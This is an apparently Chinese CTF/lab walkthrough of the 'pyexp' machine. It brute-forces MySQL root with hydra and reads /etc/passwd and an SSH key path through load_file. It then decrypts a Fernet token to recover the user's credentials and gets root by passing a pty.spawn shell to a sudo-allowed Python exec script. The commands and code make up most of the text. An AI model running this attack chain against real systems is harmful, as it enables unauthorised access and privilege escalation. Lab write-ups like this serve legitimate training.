

信息收集

主机发现

136

端口扫描

1337, 3306

服务识别

```
PORT      STATE SERVICE VERSION
1337/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
|   256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|   256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
3306/tcp  open  mysql    MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| sslv2: ERROR: Script execution failed (use -d to debug)
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 40
|   Capabilities flags: 63486
|   Some Capabilities: Support41Auth, SupportsCompression, ODBCClient, IgnoreSigpipes, ConnectWithDatabase, FoundRows, IgnoreSpaceBeforeParenthesis, Interact
iveClient, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, SupportsLoadDataLocal, SupportsAuthP
ugins, SupportsMultipleStatements, SupportsMultipleResults
|   Status: Autocommit
|   Salt: d(6wqQ0t~;G6wvj1R+}V
|   Auth Plugin Name: mysql_native_password
|_ tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ ssl-date: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

子域名发现

敏感目录遍历

web信息搜集

漏洞发现

业务重构

威胁建模

漏洞利用

边界突破

MYSQL密码爆破

hydra跑字典破解mysql密码

```
hydra -l root -P rockyou.txt mysql://192.168.88.136:3306
```

发现账号密码

```
root/prettywoman
```

MYSQL执行代码

登录进入mysql

```
#mysql

\! id #查看用户
\! bash #尝试提权
select do_system('id'); #用内置函数执行系统命令
select load_file('/etc/passwd'); #查看文件内容,发现账号lucy
select load_file('/etc/alternative/my.cnf'); #查看mysql配置文件信息
select load_file('/home/luyc/.ssh/id_rsa'); #查看密钥
```

进入数据库查看

```
MariaDB [(none)]> show databases;
+-----+
| Database |
+-----+
| data     |
| information_schema |
| mysql    |
| performance_schema |
+-----+
4 rows in set (0.001 sec)

MariaDB [(none)]> use data;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [data]> show tables;
+-----+
| Tables_in_data |
+-----+
| fernet         |
+-----+
1 row in set (0.001 sec)

MariaDB [data]> select * from fernet;
+-----+
| cred |
| keyy |
+-----+
| gAAAAABfMbX0bqWJTtdHKUYYG9U5Y6JGcPgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt90dk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRkt8ULjdV0= |
+-----+
1 row in set (0.001 sec)

MariaDB [data]> █
```

发现关键词fernet,cred,keyy和两个加密的东西

去搜索fernet



编写解密代码

先按照上面的代码尝试输出结果,发现对应的key和token格式温和

```
L- python3 decrvtp.py
token=b'gAAAAABiB2PGjVGezo1tt0HyFW0WLP3gEXcUWWIzU4qWYV5R65yuaostp7ec4f2jpKpK7V_08H07-Wpj2wqcvc2A1KhiwBIA=='
key=b'WTDbzG0UCyAuSIP7-cwAqhs5RElKZqW0cvmZF0pjaM='
raw=b'fuck youi!!'
```

将key和token放入

```
from cryptography.fernet import Fernet
#key=Fernet.generate_key()
key=b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRkt8ULjdV0='
f=Fernet(key)
#token=f.encrypt(b'fuck youi!!')
token=b'gAAAAABfMbX0bqWJTtdHKUYG9U5Y6JGCPgEiLqmYIVlWB7t8gvsuayfhL00_cHnJQF1_ibv14si1MbL7Dgt90dk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
raw=f.decrypt(token)
print(f'token={token}\nkey={key}\nraw={raw}')
~
~
~

L- python3 decrvtp.py
token=b'gAAAAABfMbX0bqWJTtdHKUYG9U5Y6JGCPgEiLqmYIVlWB7t8gvsuayfhL00_cHnJQF1_ibv14si1MbL7Dgt90dk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
key=b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRkt8ULjdV0='
raw=b'lucy:wJ9" Lemdv9[FEw-
```

登录成功

权限提升

sudo提权

发现有一个文件不需要输入密码

```
lucy@pyexp:/home$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py
lucy@pyexp:/home$ ls -l
```

查看文件内容

```
lucy@pyexp:/opt$ cat exp.py
uinput = raw_input('how are you?')
exec(uinput)
```

命令注入

```
lucy@pyexp:/opt$ sudo /usr/bin/python2 /opt/exp.py
how are you?import pty;pty.spawn("/bin/bash")
root@pyexp:/opt#
root@pyexp:/opt# id
uid=0(root) gid=0(root) groups=0(root)
root@pyexp:/opt#
```

总结
